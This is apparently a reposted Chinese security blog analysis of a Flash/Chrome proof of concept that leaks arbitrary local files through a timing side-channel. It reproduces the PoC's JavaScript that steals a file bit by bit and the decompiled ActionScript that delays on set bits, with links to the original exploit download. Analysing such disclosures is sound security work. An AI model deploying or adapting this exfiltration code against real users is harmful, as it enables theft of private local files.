技术分析:本地SWF文件可将任意本地文件泄露

Flash文件在设计的时候就允许本地的swf文件读取任意的本地文件。Flash Player版本不高于7时,本地SWF文件可与其它SWF文件交互并且可以从任何远程或本地位置加载数据。

原理

在Flash Player 8 和更高版本中,SWF 文件不能连接本地文件系统和 Internet。 但是通过时间旁路通道(timing side-channel),却可以实现提取任意本地文件的内容并传送到网络上(详细说明,可参见[1],[2])。

Google浏览器会阻止(应该是有提示吧)下载“.swf”后缀的文件,来降低对本地文件系统规则的攻击,但是却没有阻止swf文件以不同的文件后缀嵌入进去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。当多个swf文件运行在同一个浏览器,但在不同的frame下,或者不同的tab下时,一次只有一个swf文件可以运行ActionScript脚本。

这也就意味着,本地的swf文件可以通过耗时的操作(如直接循环一个时间段等),使加载的网络上的swf文件的外部接口调用(ExternalInterface call)出现延迟。这样根据读取的本地文件的信息(如读取一个字节时,bit位为1出现延迟,bit位为0,不设置延迟),决定是否出现相应的延迟,网络上的swf文件检测这一延迟,即可获取到读取的文件信息。

本地html文件显然不能直接和网络上的swf文件进行交互,但是本地的html文件可以通过frame加载网络上的swf文件。

POC分析

原作者提供的poc分析 ([4],[5]),打开后发现乱码,winhex一看,果断嵌入了swf文件(提供的poc代码中没有这个swf文件,如图1),偏移0xd65后的内容为html文件的内容:

 

0xD65后的内容极为html文件的内容。

看了下作者html中的js代码:

/* check the response time of flash */         function ping(cb) {         var l;         window.addEventListener(,message,, l = function(e) {         window.removeEventListener(,message,, l);         //console.log(,got delay ,+e.data.delay)         cb(e.data.delay);         });         document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);         }                   /* steal one bit */         function getbit(path, char, mask, cb) {         path = encodeURIComponent(path);         document.getElementById(,div,).innerHTML =         ,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&amp;char=,+char+,&amp;mask=,+mask+,">,;//这个地方应该就是[3]提及的那个bug,src换位本地的地址后,poc没能成功读取本地文件内容//作者将本地的swf文件和html文件合并在一起了,path为文件路径         setTimeout(function() {         ping(function(res) {         setTimeout(function() {         cb(res > 100);//根据延迟得到bit位的值         }, 500);         });         }, 200);         }                   /* steal one byte */         function getbyte(path, char, cb) {           var byte = 0;         var mask = 1;         function getbyte_() {         //console.log(,getbyte_ mask=,+mask)         getbit(path, char, mask, function(is_set) {//根据mask的那一bit为1,决定读取char中的某一bit位         //console.log(,mask=,+mask+, set=,+is_set);         if (is_set) byte |= mask;if (mask == 0x80) return cb(String.fromCharCode(byte));      mask <<= 1;      getbyte_();    });    /* steal an entire file */function run() {  var path = document.getElementById(,path,).value;  console.log(,path=,+path)  var i = 0;  var text = ,,;  function run_() {//其实这里应该有个判断文件长度的,当然应该由swf文件把文件长度信息返回回来    getbyte(path, i, function(char) {      console.log(,got char: ,+char)      text += char;      i++;      document.getElementById(,out,).innerText = text;      run_();    });  }  run_();}

从作者给的html文件中提前swf后反编译,反编译后在swf脚本下有class_writer这一项:

里面的主要两个函数的代码:

public static function completeHandler(arg1:flash.events.Event):void        {            var loc1:*=0;            if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0)              {//该bit位为1则循环,因此会出现延迟                loc1 = flash.utils.getTimer() + 400;                do                  {                }                while (flash.utils.getTimer() < loc1);            }            return;        }          public static function main():void        {            Writer.timer = new haxe.Timer(1);            Writer.timer.run = function ():void            {                var loc1:*;                var loc2:*=null;                var loc3:*=undefined as null;                var loc4:*=undefined as null;                if (flash.Lib.current.stage != null)                  {                    false;                }                if (false)                  {                    Writer.timer.stop();                    loc2 = flash.Lib.current.loaderInfo.parameters;                    Writer.path = loc2.path;//文件路径                    Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据                    Writer.mask = Std.parseInt(loc2.mask);//与之按位与,可确定获取的bit位的值                    loc3 = new flash.net.URLRequest(Writer.path);                    Writer.loader = new flash.net.URLLoader();                    Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);                }                return;            }            return;        }

Frame中嵌入的html文件的js代码:

<embed id=a src=ping.swf AllowScriptAccess=always><script>  window.addEventListener(,message,, function(e) {    var t1 = Date.now();    document.getElementById(,a,).ping();    var t2 = Date.now();    parent.postMessage({delay:t2-t1}, ,*,);//计算网络上的swf文件相应的延迟  });</script>

作者poc google浏览器下运行效果:

 

相关资料

[1]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000456.html

[2]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000462.html#164081

[3]: https://code.google.com/p/chromium/issues/detail?id=487475(无奈科学了提示我不能查看)

[4]https://var.thejh.net/flash_HigNabIalOt6/download.html(原作者的poc)

[5]:https://var.thejh.net/flash_local_poc.zip(原作者的poc 代码)

[6]:http://seclists.org/fulldisclosure/2015/May/122

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/122165.html<

(0)
管理的头像管理
上一篇2025-02-22 05:29
下一篇 2025-02-22 05:30

相关推荐

  • 云服务器和云虚拟主机怎么选?云服务器和虚拟主机区别

    云服务器适合业务增长快、需弹性扩展的场景,而云虚拟主机适合预算有限、技术门槛低的小型静态网站或测试环境,二者核心区别在于资源独享性与运维复杂度,核心差异解析:从底层架构到使用体验很多人容易混淆这两者,觉得它们都是“买空间建站”,它们的底层逻辑完全不同,云服务器(ECS)就像是你租了一整栋别墅,水电网络独立,你想……

    2026-06-29
    0
  • 赣州智慧旅游招聘是真的吗?赣州旅游人才招聘信息

    中级岗位(3-5年经验)月薪范围通常在6000-10000元,这类岗位需要独立负责项目模块,如独立运营一个抖音账号,或维护一个景区小程序的功能迭代,具备成功案例的候选人议价能力较强,高级岗位(5年以上经验)月薪范围通常在10000-20000元,部分核心管理岗可达更高,这类人才需要具备战略规划能力,如制定整个景……

    2026-06-29
    0
  • 赣州智能物联网车位锁如何管理?智能车位锁管理系统多少钱

    赣州智能物联网车位锁管理的核心在于通过云端平台实现远程控锁、状态实时监控及自动计费,彻底解决传统车位“被占难管”与“找位难”的痛点,在赣州这样的城市,随着机动车保有量的持续增长,老旧小区、商业综合体以及私人固定车位的资源矛盾日益凸显,传统的机械地锁或简易遥控锁,不仅操作繁琐,更无法实现数据化管理,引入智能物联网……

    2026-06-29
    0
  • 赣州智能消防栓好用吗,智能消防栓多少钱一个

    赣州智能消防栓通过物联网技术实现实时监测与远程报警,能显著降低火灾响应时间并提升城市消防安全管理水平,是目前智慧城市建设中不可或缺的基础设施,赣州智能消防栓的核心价值与应用场景传统消防栓往往存在“看不见、摸不着、用不了”的痛点,在赣州这样地形复杂、老城区与新城区并存的区域,传统设施的管理难度极大,智能消防栓的出……

    2026-06-29
    0
  • 云服务器和物理机到底有啥区别?

    云服务器本质上是虚拟化资源池中的弹性实例,而传统物理服务器是独占的硬件实体,前者胜在弹性与运维便捷,后者强在物理隔离与性能稳定,具体选择取决于业务对成本、扩展性及安全合规的权衡,很多人初次接触服务器时,容易把“云服务器”和“传统物理服务器”混为一谈,觉得它们都是用来跑网站或存数据的盒子,这两者的底层逻辑完全不同……

    2026-06-29
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注